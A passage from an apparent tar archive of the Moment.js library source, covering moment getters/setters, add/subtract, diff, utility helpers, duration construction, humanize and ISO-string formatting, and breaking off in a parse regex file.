now = function () { return Date.now ? Date.now() : +(new Date()); }; lib/moment/valid.js000064400000000576151677412270010272 0ustar00import { isValid as _isValid } from '../create/valid'; import extend from '../utils/extend'; import getParsingFlags from '../create/parsing-flags'; export function isValid () { return _isValid(this); } export function parsingFlags () { return extend({}, getParsingFlags(this)); } export function invalidAt () { return getParsingFlags(this).overflow; } lib/moment/get-set.js000064400000003475151677412270010544 0ustar00import { normalizeUnits, normalizeObjectUnits } from '../units/aliases'; import { getPrioritizedUnits } from '../units/priorities'; import { hooks } from '../utils/hooks'; import isFunction from '../utils/is-function'; import { daysInMonth } from '../units/month'; import { isLeapYear } from '../units/year'; export function makeGetSet (unit, keepTime) { return function (value) { if (value != null) { set(this, unit, value); hooks.updateOffset(this, keepTime); return this; } else { return get(this, unit); } }; } export function get (mom, unit) { return mom.isValid() ? mom._d['get' + (mom._isUTC ? 'UTC' : '') + unit]() : NaN; } export function set (mom, unit, value) { if (mom.isValid() && !isNaN(value)) { if (unit === 'FullYear' && isLeapYear(mom.year()) && mom.month() === 1 && mom.date() === 29) { mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value, mom.month(), daysInMonth(value, mom.month())); } else { mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value); } } } // MOMENTS export function stringGet (units) { units = normalizeUnits(units); if (isFunction(this[units])) { return this[units](); } return this; } export function stringSet (units, value) { if (typeof units === 'object') { units = normalizeObjectUnits(units); var prioritized = getPrioritizedUnits(units); for (var i = 0; i < prioritized.length; i++) { this[prioritized[i].unit](units[prioritized[i].unit]); } } else { units = normalizeUnits(units); if (isFunction(this[units])) { return this[units](value); } } return this; } lib/moment/creation-data.js000064400000000310151677412270011670 0ustar00export function creationData() { return { input: this._i, format: this._f, locale: this._locale, isUTC: this._isUTC, strict: this._strict }; } lib/moment/prototype.js000064400000012764151677412270011242 0ustar00import { Moment } from './constructor'; var proto = Moment.prototype; import { add, subtract } from './add-subtract'; import { calendar, getCalendarFormat } from './calendar'; import { clone } from './clone'; import { isBefore, isBetween, isSame, isAfter, isSameOrAfter, isSameOrBefore } from './compare'; import { diff } from './diff'; import { format, toString, toISOString, inspect } from './format'; import { from, fromNow } from './from'; import { to, toNow } from './to'; import { stringGet, stringSet } from './get-set'; import { locale, localeData, lang } from './locale'; import { prototypeMin, prototypeMax } from './min-max'; import { startOf, endOf } from './start-end-of'; import { valueOf, toDate, toArray, toObject, toJSON, unix } from './to-type'; import { isValid, parsingFlags, invalidAt } from './valid'; import { creationData } from './creation-data'; proto.add = add; proto.calendar = calendar; proto.clone = clone; proto.diff = diff; proto.endOf = endOf; proto.format = format; proto.from = from; proto.fromNow = fromNow; proto.to = to; proto.toNow = toNow; proto.get = stringGet; proto.invalidAt = invalidAt; proto.isAfter = isAfter; proto.isBefore = isBefore; proto.isBetween = isBetween; proto.isSame = isSame; proto.isSameOrAfter = isSameOrAfter; proto.isSameOrBefore = isSameOrBefore; proto.isValid = isValid; proto.lang = lang; proto.locale = locale; proto.localeData = localeData; proto.max = prototypeMax; proto.min = prototypeMin; proto.parsingFlags = parsingFlags; proto.set = stringSet; proto.startOf = startOf; proto.subtract = subtract; proto.toArray = toArray; proto.toObject = toObject; proto.toDate = toDate; proto.toISOString = toISOString; proto.inspect = inspect; proto.toJSON = toJSON; proto.toString = toString; proto.unix = unix; proto.valueOf = valueOf; proto.creationData = creationData; // Year import { getSetYear, getIsLeapYear } from '../units/year'; proto.year = getSetYear; proto.isLeapYear = getIsLeapYear; // Week Year import { getSetWeekYear, getSetISOWeekYear, getWeeksInYear, getISOWeeksInYear } from '../units/week-year'; proto.weekYear = getSetWeekYear; proto.isoWeekYear = getSetISOWeekYear; // Quarter import { getSetQuarter } from '../units/quarter'; proto.quarter = proto.quarters = getSetQuarter; // Month import { getSetMonth, getDaysInMonth } from '../units/month'; proto.month = getSetMonth; proto.daysInMonth = getDaysInMonth; // Week import { getSetWeek, getSetISOWeek } from '../units/week'; proto.week = proto.weeks = getSetWeek; proto.isoWeek = proto.isoWeeks = getSetISOWeek; proto.weeksInYear = getWeeksInYear; proto.isoWeeksInYear = getISOWeeksInYear; // Day import { getSetDayOfMonth } from '../units/day-of-month'; import { getSetDayOfWeek, getSetISODayOfWeek, getSetLocaleDayOfWeek } from '../units/day-of-week'; import { getSetDayOfYear } from '../units/day-of-year'; proto.date = getSetDayOfMonth; proto.day = proto.days = getSetDayOfWeek; proto.weekday = getSetLocaleDayOfWeek; proto.isoWeekday = getSetISODayOfWeek; proto.dayOfYear = getSetDayOfYear; // Hour import { getSetHour } from '../units/hour'; proto.hour = proto.hours = getSetHour; // Minute import { getSetMinute } from '../units/minute'; proto.minute = proto.minutes = getSetMinute; // Second import { getSetSecond } from '../units/second'; proto.second = proto.seconds = getSetSecond; // Millisecond import { getSetMillisecond } from '../units/millisecond'; proto.millisecond = proto.milliseconds = getSetMillisecond; // Offset import { getSetOffset, setOffsetToUTC, setOffsetToLocal, setOffsetToParsedOffset, hasAlignedHourOffset, isDaylightSavingTime, isDaylightSavingTimeShifted, getSetZone, isLocal, isUtcOffset, isUtc } from '../units/offset'; proto.utcOffset = getSetOffset; proto.utc = setOffsetToUTC; proto.local = setOffsetToLocal; proto.parseZone = setOffsetToParsedOffset; proto.hasAlignedHourOffset = hasAlignedHourOffset; proto.isDST = isDaylightSavingTime; proto.isLocal = isLocal; proto.isUtcOffset = isUtcOffset; proto.isUtc = isUtc; proto.isUTC = isUtc; // Timezone import { getZoneAbbr, getZoneName } from '../units/timezone'; proto.zoneAbbr = getZoneAbbr; proto.zoneName = getZoneName; // Deprecations import { deprecate } from '../utils/deprecate'; proto.dates = deprecate('dates accessor is deprecated. Use date instead.', getSetDayOfMonth); proto.months = deprecate('months accessor is deprecated. Use month instead', getSetMonth); proto.years = deprecate('years accessor is deprecated. Use year instead', getSetYear); proto.zone = deprecate('moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/', getSetZone); proto.isDSTShifted = deprecate('isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information', isDaylightSavingTimeShifted); export default proto; lib/moment/add-subtract.js000064400000003452151677412270011544 0ustar00import { get, set } from './get-set'; import { setMonth } from '../units/month'; import { createDuration } from '../duration/create'; import { deprecateSimple } from '../utils/deprecate'; import { hooks } from '../utils/hooks'; import absRound from '../utils/abs-round'; // TODO: remove 'name' arg after deprecation is removed function createAdder(direction, name) { return function (val, period) { var dur, tmp; //invert the arguments, but complain about it if (period !== null && !isNaN(+period)) { deprecateSimple(name, 'moment().' + name + '(period, number) is deprecated. Please use moment().' + name + '(number, period). ' + 'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.'); tmp = val; val = period; period = tmp; } val = typeof val === 'string' ? +val : val; dur = createDuration(val, period); addSubtract(this, dur, direction); return this; }; } export function addSubtract (mom, duration, isAdding, updateOffset) { var milliseconds = duration._milliseconds, days = absRound(duration._days), months = absRound(duration._months); if (!mom.isValid()) { // No op return; } updateOffset = updateOffset == null ? true : updateOffset; if (months) { setMonth(mom, get(mom, 'Month') + months * isAdding); } if (days) { set(mom, 'Date', get(mom, 'Date') + days * isAdding); } if (milliseconds) { mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding); } if (updateOffset) { hooks.updateOffset(mom, days || months); } } export var add = createAdder(1, 'add'); export var subtract = createAdder(-1, 'subtract'); lib/moment/diff.js000064400000003760151677412270010101 0ustar00import absFloor from '../utils/abs-floor'; import { cloneWithOffset } from '../units/offset'; import { normalizeUnits } from '../units/aliases'; export function diff (input, units, asFloat) { var that, zoneDelta, delta, output; if (!this.isValid()) { return NaN; } that = cloneWithOffset(input, this); if (!that.isValid()) { return NaN; } zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4; units = normalizeUnits(units); switch (units) { case 'year': output = monthDiff(this, that) / 12; break; case 'month': output = monthDiff(this, that); break; case 'quarter': output = monthDiff(this, that) / 3; break; case 'second': output = (this - that) / 1e3; break; // 1000 case 'minute': output = (this - that) / 6e4; break; // 1000 * 60 case 'hour': output = (this - that) / 36e5; break; // 1000 * 60 * 60 case 'day': output = (this - that - zoneDelta) / 864e5; break; // 1000 * 60 * 60 * 24, negate dst case 'week': output = (this - that - zoneDelta) / 6048e5; break; // 1000 * 60 * 60 * 24 * 7, negate dst default: output = this - that; } return asFloat ? output : absFloor(output); } function monthDiff (a, b) { // difference in months var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()), // b is in (anchor - 1 month, anchor + 1 month) anchor = a.clone().add(wholeMonthDiff, 'months'), anchor2, adjust; if (b - anchor < 0) { anchor2 = a.clone().add(wholeMonthDiff - 1, 'months'); // linear across the month adjust = (b - anchor) / (anchor - anchor2); } else { anchor2 = a.clone().add(wholeMonthDiff + 1, 'months'); // linear across the month adjust = (b - anchor) / (anchor2 - anchor); } //check for negative zero, return zero if negative zero return -(wholeMonthDiff + adjust) || 0; } lib/utils/abs-ceil.js000064400000000242151677412270010501 0ustar00export default function absCeil (number) { if (number < 0) { return Math.floor(number); } else { return Math.ceil(number); } } lib/utils/has-own-prop.js000064400000000147151677412270011360 0ustar00export default function hasOwnProp(a, b) { return Object.prototype.hasOwnProperty.call(a, b); } lib/utils/to-int.js000064400000000446151677412270010242 0ustar00import absFloor from './abs-floor'; export default function toInt(argumentForCoercion) { var coercedNumber = +argumentForCoercion, value = 0; if (coercedNumber !== 0 && isFinite(coercedNumber)) { value = absFloor(coercedNumber); } return value; } lib/utils/abs-floor.js000064400000000274151677412270010713 0ustar00export default function absFloor (number) { if (number < 0) { // -0 -> 0 return Math.ceil(number) || 0; } else { return Math.floor(number); } } lib/utils/map.js000064400000000243151677412270007600 0ustar00export default function map(arr, fn) { var res = [], i; for (i = 0; i < arr.length; ++i) { res.push(fn(arr[i], i)); } return res; } lib/utils/keys.js000064400000000537151677412270010004 0ustar00import hasOwnProp from './has-own-prop'; var keys; if (Object.keys) { keys = Object.keys; } else { keys = function (obj) { var i, res = []; for (i in obj) { if (hasOwnProp(obj, i)) { res.push(i); } } return res; }; } export { keys as default }; lib/utils/some.js000064400000000622151677412270007767 0ustar00var some; if (Array.prototype.some) { some = Array.prototype.some; } else { some = function (fun) { var t = Object(this); var len = t.length >>> 0; for (var i = 0; i < len; i++) { if (i in t && fun.call(this, t[i], i, t)) { return true; } } return false; }; } export { some as default }; lib/utils/is-object-empty.js000064400000000520151677412270012034 0ustar00export default function isObjectEmpty(obj) { if (Object.getOwnPropertyNames) { return (Object.getOwnPropertyNames(obj).length === 0); } else { var k; for (k in obj) { if (obj.hasOwnProperty(k)) { return false; } } return true; } } lib/utils/is-array.js000064400000000217151677412270010553 0ustar00export default function isArray(input) { return input instanceof Array || Object.prototype.toString.call(input) === '[object Array]'; } lib/utils/abs-round.js000064400000000256151677412270010721 0ustar00export default function absRound (number) { if (number < 0) { return Math.round(-1 * number) * -1; } else { return Math.round(number); } } lib/utils/is-date.js000064400000000214151677412270010347 0ustar00export default function isDate(input) { return input instanceof Date || Object.prototype.toString.call(input) === '[object Date]'; } lib/utils/is-function.js000064400000000230151677412270011255 0ustar00export default function isFunction(input) { return input instanceof Function || Object.prototype.toString.call(input) === '[object Function]'; } lib/utils/is-undefined.js000064400000000117151677412270011375 0ustar00export default function isUndefined(input) { return input === void 0; } lib/utils/extend.js000064400000000554151677412270010317 0ustar00import hasOwnProp from './has-own-prop'; export default function extend(a, b) { for (var i in b) { if (hasOwnProp(b, i)) { a[i] = b[i]; } } if (hasOwnProp(b, 'toString')) { a.toString = b.toString; } if (hasOwnProp(b, 'valueOf')) { a.valueOf = b.valueOf; } return a; } lib/utils/deprecate.js000064400000003273151677412270010765 0ustar00import extend from './extend'; import { hooks } from './hooks'; import isUndefined from './is-undefined'; function warn(msg) { if (hooks.suppressDeprecationWarnings === false && (typeof console !== 'undefined') && console.warn) { console.warn('Deprecation warning: ' + msg); } } export function deprecate(msg, fn) { var firstTime = true; return extend(function () { if (hooks.deprecationHandler != null) { hooks.deprecationHandler(null, msg); } if (firstTime) { var args = []; var arg; for (var i = 0; i < arguments.length; i++) { arg = ''; if (typeof arguments[i] === 'object') { arg += '\n[' + i + '] '; for (var key in arguments[0]) { arg += key + ': ' + arguments[0][key] + ', '; } arg = arg.slice(0, -2); // Remove trailing comma and space } else { arg = arguments[i]; } args.push(arg); } warn(msg + '\nArguments: ' + Array.prototype.slice.call(args).join('') + '\n' + (new Error()).stack); firstTime = false; } return fn.apply(this, arguments); }, fn); } var deprecations = {}; export function deprecateSimple(name, msg) { if (hooks.deprecationHandler != null) { hooks.deprecationHandler(name, msg); } if (!deprecations[name]) { warn(msg); deprecations[name] = true; } } hooks.suppressDeprecationWarnings = false; hooks.deprecationHandler = null; lib/utils/is-number.js000064400000000224151677412270010723 0ustar00export default function isNumber(input) { return typeof input === 'number' || Object.prototype.toString.call(input) === '[object Number]'; } lib/utils/hooks.js000064400000000467151677412270010156 0ustar00export { hooks, setHookCallback }; var hookCallback; function hooks () { return hookCallback.apply(null, arguments); } // This is done to register the method called with moment() // without creating circular dependencies. function setHookCallback (callback) { hookCallback = callback; } lib/utils/index-of.js000064400000000550151677412270010535 0ustar00var indexOf; if (Array.prototype.indexOf) { indexOf = Array.prototype.indexOf; } else { indexOf = function (o) { // I know var i; for (i = 0; i < this.length; ++i) { if (this[i] === o) { return i; } } return -1; }; } export { indexOf as default }; lib/utils/compare-arrays.js000064400000001043151677412270011747 0ustar00import toInt from './to-int'; // compare two arrays, return the number of differences export default function compareArrays(array1, array2, dontConvert) { var len = Math.min(array1.length, array2.length), lengthDiff = Math.abs(array1.length - array2.length), diffs = 0, i; for (i = 0; i < len; i++) { if ((dontConvert && array1[i] !== array2[i]) || (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))) { diffs++; } } return diffs + lengthDiff; } lib/utils/mod.js000064400000000107151677412270007601 0ustar00export default function mod(n, x) { return ((n % x) + x) % x; } lib/utils/defaults.js000064400000000325151677412270010633 0ustar00// Pick the first defined of two or three arguments. export default function defaults(a, b, c) { if (a != null) { return a; } if (b != null) { return b; } return c; } lib/utils/is-object.js000064400000000343151677412270010703 0ustar00export default function isObject(input) { // IE8 will treat undefined and null as object if it wasn't for // input != null return input != null && Object.prototype.toString.call(input) === '[object Object]'; } lib/utils/zero-fill.js000064400000000517151677412270010732 0ustar00export default function zeroFill(number, targetLength, forceSign) { var absNumber = '' + Math.abs(number), zerosToFill = targetLength - absNumber.length, sign = number >= 0; return (sign ? (forceSign ? '+' : '') : '-') + Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) + absNumber; } lib/duration/constructor.js000064400000003134151677412270012077 0ustar00import { normalizeObjectUnits } from '../units/aliases'; import { getLocale } from '../locale/locales'; import isDurationValid from './valid.js'; export function Duration (duration) { var normalizedInput = normalizeObjectUnits(duration), years = normalizedInput.year || 0, quarters = normalizedInput.quarter || 0, months = normalizedInput.month || 0, weeks = normalizedInput.week || 0, days = normalizedInput.day || 0, hours = normalizedInput.hour || 0, minutes = normalizedInput.minute || 0, seconds = normalizedInput.second || 0, milliseconds = normalizedInput.millisecond || 0; this._isValid = isDurationValid(normalizedInput); // representation for dateAddRemove this._milliseconds = +milliseconds + seconds * 1e3 + // 1000 minutes * 6e4 + // 1000 * 60 hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978 // Because of dateAddRemove treats 24 hours as different from a // day when working around DST, we need to store them separately this._days = +days + weeks * 7; // It is impossible to translate months into days without knowing // which months you are are talking about, so we have to store // it separately. this._months = +months + quarters * 3 + years * 12; this._data = {}; this._locale = getLocale(); this._bubble(); } export function isDuration (obj) { return obj instanceof Duration; } lib/duration/clone.js000064400000000161151677412270010607 0ustar00import { createDuration } from './create'; export function clone () { return createDuration(this); } lib/duration/as.js000064400000004051151677412270010114 0ustar00import { daysToMonths, monthsToDays } from './bubble'; import { normalizeUnits } from '../units/aliases'; import toInt from '../utils/to-int'; export function as (units) { if (!this.isValid()) { return NaN; } var days; var months; var milliseconds = this._milliseconds; units = normalizeUnits(units); if (units === 'month' || units === 'year') { days = this._days + milliseconds / 864e5; months = this._months + daysToMonths(days); return units === 'month' ? months : months / 12; } else { // handle milliseconds separately because of floating point math errors (issue #1867) days = this._days + Math.round(monthsToDays(this._months)); switch (units) { case 'week' : return days / 7 + milliseconds / 6048e5; case 'day' : return days + milliseconds / 864e5; case 'hour' : return days * 24 + milliseconds / 36e5; case 'minute' : return days * 1440 + milliseconds / 6e4; case 'second' : return days * 86400 + milliseconds / 1000; // Math.floor prevents floating point math errors here case 'millisecond': return Math.floor(days * 864e5) + milliseconds; default: throw new Error('Unknown unit ' + units); } } } // TODO: Use this.as('ms')? export function valueOf () { if (!this.isValid()) { return NaN; } return ( this._milliseconds + this._days * 864e5 + (this._months % 12) * 2592e6 + toInt(this._months / 12) * 31536e6 ); } function makeAs (alias) { return function () { return this.as(alias); }; } export var asMilliseconds = makeAs('ms'); export var asSeconds = makeAs('s'); export var asMinutes = makeAs('m'); export var asHours = makeAs('h'); export var asDays = makeAs('d'); export var asWeeks = makeAs('w'); export var asMonths = makeAs('M'); export var asYears = makeAs('y'); lib/duration/humanize.js000064400000005576151677412270011346 0ustar00import { createDuration } from './create'; var round = Math.round; var thresholds = { ss: 44, // a few seconds to seconds s : 45, // seconds to minute m : 45, // minutes to hour h : 22, // hours to day d : 26, // days to month M : 11 // months to year }; // helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) { return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture); } function relativeTime (posNegDuration, withoutSuffix, locale) { var duration = createDuration(posNegDuration).abs(); var seconds = round(duration.as('s')); var minutes = round(duration.as('m')); var hours = round(duration.as('h')); var days = round(duration.as('d')); var months = round(duration.as('M')); var years = round(duration.as('y')); var a = seconds <= thresholds.ss && ['s', seconds] || seconds < thresholds.s && ['ss', seconds] || minutes <= 1 && ['m'] || minutes < thresholds.m && ['mm', minutes] || hours <= 1 && ['h'] || hours < thresholds.h && ['hh', hours] || days <= 1 && ['d'] || days < thresholds.d && ['dd', days] || months <= 1 && ['M'] || months < thresholds.M && ['MM', months] || years <= 1 && ['y'] || ['yy', years]; a[2] = withoutSuffix; a[3] = +posNegDuration > 0; a[4] = locale; return substituteTimeAgo.apply(null, a); } // This function allows you to set the rounding function for relative time strings export function getSetRelativeTimeRounding (roundingFunction) { if (roundingFunction === undefined) { return round; } if (typeof(roundingFunction) === 'function') { round = roundingFunction; return true; } return false; } // This function allows you to set a threshold for relative time strings export function getSetRelativeTimeThreshold (threshold, limit) { if (thresholds[threshold] === undefined) { return false; } if (limit === undefined) { return thresholds[threshold]; } thresholds[threshold] = limit; if (threshold === 's') { thresholds.ss = limit - 1; } return true; } export function humanize (withSuffix) { if (!this.isValid()) { return this.localeData().invalidDate(); } var locale = this.localeData(); var output = relativeTime(this, !withSuffix, locale); if (withSuffix) { output = locale.pastFuture(+this, output); } return locale.postformat(output); } lib/duration/get.js000064400000001402151677412270010265 0ustar00import { normalizeUnits } from '../units/aliases'; import absFloor from '../utils/abs-floor'; export function get (units) { units = normalizeUnits(units); return this.isValid() ? this[units + 's']() : NaN; } function makeGetter(name) { return function () { return this.isValid() ? this._data[name] : NaN; }; } export var milliseconds = makeGetter('milliseconds'); export var seconds = makeGetter('seconds'); export var minutes = makeGetter('minutes'); export var hours = makeGetter('hours'); export var days = makeGetter('days'); export var months = makeGetter('months'); export var years = makeGetter('years'); export function weeks () { return absFloor(this.days() / 7); } lib/duration/bubble.js000064400000003553151677412270010752 0ustar00import absFloor from '../utils/abs-floor'; import absCeil from '../utils/abs-ceil'; import { createUTCDate } from '../create/date-from-array'; export function bubble () { var milliseconds = this._milliseconds; var days = this._days; var months = this._months; var data = this._data; var seconds, minutes, hours, years, monthsFromDays; // if we have a mix of positive and negative values, bubble down first // check: https://github.com/moment/moment/issues/2166 if (!((milliseconds >= 0 && days >= 0 && months >= 0) || (milliseconds <= 0 && days <= 0 && months <= 0))) { milliseconds += absCeil(monthsToDays(months) + days) * 864e5; days = 0; months = 0; } // The following code bubbles up values, see the tests for // examples of what that means. data.milliseconds = milliseconds % 1000; seconds = absFloor(milliseconds / 1000); data.seconds = seconds % 60; minutes = absFloor(seconds / 60); data.minutes = minutes % 60; hours = absFloor(minutes / 60); data.hours = hours % 24; days += absFloor(hours / 24); // convert days to months monthsFromDays = absFloor(daysToMonths(days)); months += monthsFromDays; days -= absCeil(monthsToDays(monthsFromDays)); // 12 months -> 1 year years = absFloor(months / 12); months %= 12; data.days = days; data.months = months; data.years = years; return this; } export function daysToMonths (days) { // 400 years have 146097 days (taking into account leap year rules) // 400 years have 12 months === 4800 return days * 4800 / 146097; } export function monthsToDays (months) { // the reverse of daysToMonths return months * 146097 / 4800; } lib/duration/iso-string.js000064400000004102151677412270011604 0ustar00import absFloor from '../utils/abs-floor'; var abs = Math.abs; function sign(x) { return ((x > 0) - (x < 0)) || +x; } export function toISOString() { // for ISO strings we do not use the normal bubbling rules: // * milliseconds bubble up until they become hours // * days do not bubble at all // * months bubble up until they become years // This is because there is no context-free conversion between hours and days // (think of clock changes) // and also not between days and months (28-31 days per month) if (!this.isValid()) { return this.localeData().invalidDate(); } var seconds = abs(this._milliseconds) / 1000; var days = abs(this._days); var months = abs(this._months); var minutes, hours, years; // 3600 seconds -> 60 minutes -> 1 hour minutes = absFloor(seconds / 60); hours = absFloor(minutes / 60); seconds %= 60; minutes %= 60; // 12 months -> 1 year years = absFloor(months / 12); months %= 12; // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js var Y = years; var M = months; var D = days; var h = hours; var m = minutes; var s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : ''; var total = this.asSeconds(); if (!total) { // this is the same as C#'s (Noda) and python (isodate)... // but not other JS (goog.date) return 'P0D'; } var totalSign = total < 0 ? '-' : ''; var ymSign = sign(this._months) !== sign(total) ? '-' : ''; var daysSign = sign(this._days) !== sign(total) ? '-' : ''; var hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : ''; return totalSign + 'P' + (Y ? ymSign + Y + 'Y' : '') + (M ? ymSign + M + 'M' : '') + (D ? daysSign + D + 'D' : '') + ((h || m || s) ? 'T' : '') + (h ? hmsSign + h + 'H' : '') + (m ? hmsSign + m + 'M' : '') + (s ? hmsSign + s + 'S' : ''); } lib/duration/duration.js000064400000000544151677412270011341 0ustar00// Side effect imports import './prototype'; import { createDuration } from './create'; import { isDuration } from './constructor'; import { getSetRelativeTimeRounding, getSetRelativeTimeThreshold } from './humanize'; export { createDuration, isDuration, getSetRelativeTimeRounding, getSetRelativeTimeThreshold }; lib/duration/valid.js000064400000002000151677412270010600 0ustar00import toInt from '../utils/to-int'; import indexOf from '../utils/index-of'; import {Duration} from './constructor'; import {createDuration} from './create'; var ordering = ['year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second', 'millisecond']; export default function isDurationValid(m) { for (var key in m) { if (!(indexOf.call(ordering, key) !== -1 && (m[key] == null || !isNaN(m[key])))) { return false; } } var unitHasDecimal = false; for (var i = 0; i < ordering.length; ++i) { if (m[ordering[i]]) { if (unitHasDecimal) { return false; // only allow non-integers for smallest unit } if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) { unitHasDecimal = true; } } } return true; } export function isValid() { return this._isValid; } export function createInvalid() { return createDuration(NaN); } lib/duration/create.js000064400000010505151677412270010755 0ustar00import { Duration, isDuration } from './constructor'; import isNumber from '../utils/is-number'; import toInt from '../utils/to-int'; import absRound from '../utils/abs-round'; import hasOwnProp from '../utils/has-own-prop'; import { DATE, HOUR, MINUTE, SECOND, MILLISECOND } from '../units/constants'; import { cloneWithOffset } from '../units/offset'; import { createLocal } from '../create/local'; import { createInvalid as invalid } from './valid'; // ASP.NET json date format regex var aspNetRegex = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/; // from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html // somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere // and further modified to allow for strings containing both week and day var isoRegex = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/; export function createDuration (input, key) { var duration = input, // matching against regexp is expensive, do it on demand match = null, sign, ret, diffRes; if (isDuration(input)) { duration = { ms : input._milliseconds, d : input._days, M : input._months }; } else if (isNumber(input)) { duration = {}; if (key) { duration[key] = input; } else { duration.milliseconds = input; } } else if (!!(match = aspNetRegex.exec(input))) { sign = (match[1] === '-') ? -1 : 1; duration = { y : 0, d : toInt(match[DATE]) * sign, h : toInt(match[HOUR]) * sign, m : toInt(match[MINUTE]) * sign, s : toInt(match[SECOND]) * sign, ms : toInt(absRound(match[MILLISECOND] * 1000)) * sign // the millisecond decimal point is included in the match }; } else if (!!(match = isoRegex.exec(input))) { sign = (match[1] === '-') ? -1 : (match[1] === '+') ? 1 : 1; duration = { y : parseIso(match[2], sign), M : parseIso(match[3], sign), w : parseIso(match[4], sign), d : parseIso(match[5], sign), h : parseIso(match[6], sign), m : parseIso(match[7], sign), s : parseIso(match[8], sign) }; } else if (duration == null) {// checks for null or undefined duration = {}; } else if (typeof duration === 'object' && ('from' in duration || 'to' in duration)) { diffRes = momentsDifference(createLocal(duration.from), createLocal(duration.to)); duration = {}; duration.ms = diffRes.milliseconds; duration.M = diffRes.months; } ret = new Duration(duration); if (isDuration(input) && hasOwnProp(input, '_locale')) { ret._locale = input._locale; } return ret; } createDuration.fn = Duration.prototype; createDuration.invalid = invalid; function parseIso (inp, sign) { // We'd normally use ~~inp for this, but unfortunately it also // converts floats to ints. // inp may be undefined, so careful calling replace on it. var res = inp && parseFloat(inp.replace(',', '.')); // apply sign while we're at it return (isNaN(res) ? 0 : res) * sign; } function positiveMomentsDifference(base, other) { var res = {milliseconds: 0, months: 0}; res.months = other.month() - base.month() + (other.year() - base.year()) * 12; if (base.clone().add(res.months, 'M').isAfter(other)) { --res.months; } res.milliseconds = +other - +(base.clone().add(res.months, 'M')); return res; } function momentsDifference(base, other) { var res; if (!(base.isValid() && other.isValid())) { return {milliseconds: 0, months: 0}; } other = cloneWithOffset(other, base); if (base.isBefore(other)) { res = positiveMomentsDifference(base, other); } else { res = positiveMomentsDifference(other, base); res.milliseconds = -res.milliseconds; res.months = -res.months; } return res; } lib/duration/prototype.js000064400000003526151677412270011564 0ustar00import { Duration } from './constructor'; var proto = Duration.prototype; import { abs } from './abs'; import { add, subtract } from './add-subtract'; import { as, asMilliseconds, asSeconds, asMinutes, asHours, asDays, asWeeks, asMonths, asYears, valueOf } from './as'; import { bubble } from './bubble'; import { clone } from './clone'; import { get, milliseconds, seconds, minutes, hours, days, months, years, weeks } from './get'; import { humanize } from './humanize'; import { toISOString } from './iso-string'; import { lang, locale, localeData } from '../moment/locale'; import { isValid } from './valid'; proto.isValid = isValid; proto.abs = abs; proto.add = add; proto.subtract = subtract; proto.as = as; proto.asMilliseconds = asMilliseconds; proto.asSeconds = asSeconds; proto.asMinutes = asMinutes; proto.asHours = asHours; proto.asDays = asDays; proto.asWeeks = asWeeks; proto.asMonths = asMonths; proto.asYears = asYears; proto.valueOf = valueOf; proto._bubble = bubble; proto.clone = clone; proto.get = get; proto.milliseconds = milliseconds; proto.seconds = seconds; proto.minutes = minutes; proto.hours = hours; proto.days = days; proto.weeks = weeks; proto.months = months; proto.years = years; proto.humanize = humanize; proto.toISOString = toISOString; proto.toString = toISOString; proto.toJSON = toISOString; proto.locale = locale; proto.localeData = localeData; // Deprecations import { deprecate } from '../utils/deprecate'; proto.toIsoString = deprecate('toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)', toISOString); proto.lang = lang; lib/duration/abs.js000064400000001063151677412270010256 0ustar00var mathAbs = Math.abs; export function abs () { var data = this._data; this._milliseconds = mathAbs(this._milliseconds); this._days = mathAbs(this._days); this._months = mathAbs(this._months); data.milliseconds = mathAbs(data.milliseconds); data.seconds = mathAbs(data.seconds); data.minutes = mathAbs(data.minutes); data.hours = mathAbs(data.hours); data.months = mathAbs(data.months); data.years = mathAbs(data.years); return this; } lib/duration/add-subtract.js000064400000001252151677412270012066 0ustar00import { createDuration } from './create'; function addSubtract (duration, input, value, direction) { var other = createDuration(input, value); duration._milliseconds += direction * other._milliseconds; duration._days += direction * other._days; duration._months += direction * other._months; return duration._bubble(); } // supports only 2.0-style add(1, 's') or add(duration) export function add (input, value) { return addSubtract(this, input, value, 1); } // supports only 2.0-style subtract(1, 's') or subtract(duration) export function subtract (input, value) { return addSubtract(this, input, value, -1); } lib/parse/token.js000064400000001656151677412270010126 0ustar00import hasOwnProp from '../utils/has-own-prop'; import isNumber from '../utils/is-number'; import toInt from '../utils/to-int'; var tokens = {}; export function addParseToken (token, callback) { var i, func = callback; if (typeof token === 'string') { token = [token]; } if (isNumber(callback)) { func = function (input, array) { array[callback] = toInt(input); }; } for (i = 0; i < token.length; i++) { tokens[token[i]] = func; } } export function addWeekParseToken (token, callback) { addParseToken(token, function (input, array, config, token) { config._w = config._w || {}; callback(input, config._w, config, token); }); } export function addTimeToArrayFromToken(token, input, config) { if (input != null && hasOwnProp(tokens, token)) { tokens[token](input, config._a, config, token); } } lib/parse/regex.js000064400000004542151677412270010115 0ustar00export var match1 = /\d/; // 0 - 9 export var match2 = 